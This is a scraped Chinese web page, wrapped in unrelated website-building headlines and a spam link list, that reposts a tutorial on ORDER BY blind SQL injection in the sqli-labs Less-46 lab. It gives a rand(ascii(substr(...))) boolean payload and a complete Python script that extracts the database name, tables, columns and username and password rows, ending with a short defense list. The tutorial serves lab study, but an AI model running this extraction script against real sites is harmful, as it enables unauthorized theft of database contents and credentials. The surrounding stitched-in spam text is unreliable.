当前位置: 首页 > news >正文

动易网络 官方网站新公司网站建设分录

动易网络 官方网站,新公司网站建设分录,asi外贸平台,服装设计网页目录 一.order by盲注的原理 二.注入方式 a.布尔盲注 b.时间盲注 三.防御 一.order by盲注的原理 order by子句是用于按指定列排序查询结果#xff0c;列名或列序号皆可。 order by 后面接的字段或者数字不一样#xff0c;那么这个数据表的排序就会不同。 order by 盲…目录 一.order by盲注的原理 二.注入方式 a.布尔盲注 b.时间盲注 三.防御 一.order by盲注的原理 order by子句是用于按指定列排序查询结果列名或列序号皆可。 order by 后面接的字段或者数字不一样那么这个数据表的排序就会不同。 order by 盲注利用的就是这一点。 二.注入方式 环境为sqli-labs的46关参数为sort传入id a.布尔盲注 传入1时 传入2时 传入3时 不同字段的顺序是不同的根据这个结果我们可以用rand实现盲注 ?sortrand(ascii(substr((select database()),1,1))114) 转为ASCII码来比较真假为真时第一列为admin3为假时第一列为Dumb 下面是脚本内容 import time import requests from bs4 import BeautifulSoupdef inject_database(url): #库dataname for i in range(1, 20):low 32high 128mid (low high) // 2while low high:payload rand(ascii(substr((select database()),%d,1))%d) % (i, mid)res {sort: payload}r requests.get(url, paramsres)html r.textsoup BeautifulSoup(html,html.parser)getusername soup.find_all(td)[1].textif getusername admin3:low mid 1else:high midmid (low high) // 2if mid 32:breakdataname chr(mid)return datanamedef inject_tables(url, database_name):#表tables []for i in range(0, 10): table_name for j in range(1, 20):low 32high 128mid (low high) // 2while low high:payload rand(ascii(substr((select table_name from information_schema.tables where table_schema%s limit %d,1),%d,1)) %d) % (database_name, i, j, mid)res {sort: payload}r requests.get(url, paramsres)html r.textsoup BeautifulSoup(html,html.parser)getusername soup.find_all(td)[1].textif getusername admin3:low mid 1else:high midmid (low high) // 2if mid 32:breaktable_name chr(mid)if table_name:tables.append(table_name)print(fTable {i1}: {table_name})return tablesdef inject_columns(url, database_name, table_name):#列columns []for i in range(0, 10): column_name for j in range(1, 20):low 32high 128mid (low high) // 2while low high:payload rand(ascii(substr((select column_name from information_schema.columns where table_schema%s and table_name%s limit %d,1),%d,1)) %d) % (database_name, table_name, i, j, mid)res {sort: payload}r requests.get(url, paramsres)html r.textsoup BeautifulSoup(html,html.parser)getusername soup.find_all(td)[1].textif getusername admin3:low mid 1else:high midmid (low high) // 2if mid 32:breakcolumn_name chr(mid)if column_name:columns.append(column_name)print(fColumn {i1}: {column_name})return columnsdef inject_data(url, database_name, table_name, column_name):#数据data []for i in range(0, 10): row_data for j in range(1, 20):low 32high 128mid (low high) // 2while low high:payload rand(ascii(substr((select %s from %s.%s limit %d,1),%d,1)) %d) % (column_name, database_name, table_name, i, j, mid)res {sort: payload}r requests.get(url, paramsres)html r.textsoup BeautifulSoup(html,html.parser)getusername soup.find_all(td)[1].textif getusername admin3:low mid 1else:high midmid (low high) // 2if mid 32:breakrow_data chr(mid)if row_data:data.append(row_data)print(fRow {i1}: {row_data})return dataif __name__ __main__:url http://127.0.0.1/sqli/Less-46/database_name inject_database(url)print(fDatabase Name: {database_name})tables inject_tables(url, database_name)print(fTables: {tables})if tables:columns inject_columns(url, database_name, tables[3])print(fColumns: {columns})if columns:username inject_data(url, database_name, tables[3], columns[1])password inject_data(url, database_name, tables[3], columns[2])print(fData: {username})print(fData: {password}) b.时间盲注 时间盲注不依赖页面内容直接通过响应时间判断条件因此无需解析html 三.防御 1.预编译如PHP的PDO 2.最小权限原则限制数据库用户权限仅允许执行必要的操作。 3.输入长度限制 4.部署WAF
http://www.hkea.cn/news/14568422/

相关文章:

  • 做网站的公司没有技术建设电商网站报价
  • seo网站建设哪家专业沈阳网站建设024idc
  • 红色网站欣赏岳阳做网站费用
  • 网加思维做网站推广音乐网站毕业设计代码
  • 腾讯云官网入口win10优化大师怎么样
  • 阿里网站年费怎么做分录网站建设相关问题
  • 做网站 转行语言可以做网站吗
  • 网站如何做关键字收录大连网页制作
  • python做网站用什么龙岗外贸网站建设公司
  • 宁波网站优化公司做一家直播卖货的网站
  • 如何做网站店铺建立网站有免费的吗
  • 电商建设网站哪家好做视频链接哪个网站好
  • 厦门制作企业网站兖州城乡建设局网站
  • 学做网站论坛熊掌windows永久禁止更新
  • 做公关用的网站嵌入式软件开发价格
  • 贵阳市观山湖区网站建设黄骅贴吧新鲜事
  • 如何做一网站网络网站
  • 手机网站建设报价建设网站如何弄好几张网站背景
  • 做外贸需要网站吗装饰公司营销型网站
  • 外贸导向企业网站运营笔记wordpress
  • 公司网站做的好的公司学校网站建设规划书
  • 网站页面多少如何制作公司网址
  • 网站怎样和首页做链接商业收款码怎么推广赚钱
  • 如何设计公司官网站手机网站建设服务器
  • 深圳专业网站建设定制wordpress导入文章
  • 色轮 网站网站建设公司的网站
  • 专业做网站+上海怎么给网站添加黑名单
  • 网站开发集成环境百度怎样做网站并宣传网站
  • 厦门做网站维护的公司池州家居网站建设怎么样
  • 网站备案后有什么好处免费国产linux服务器系统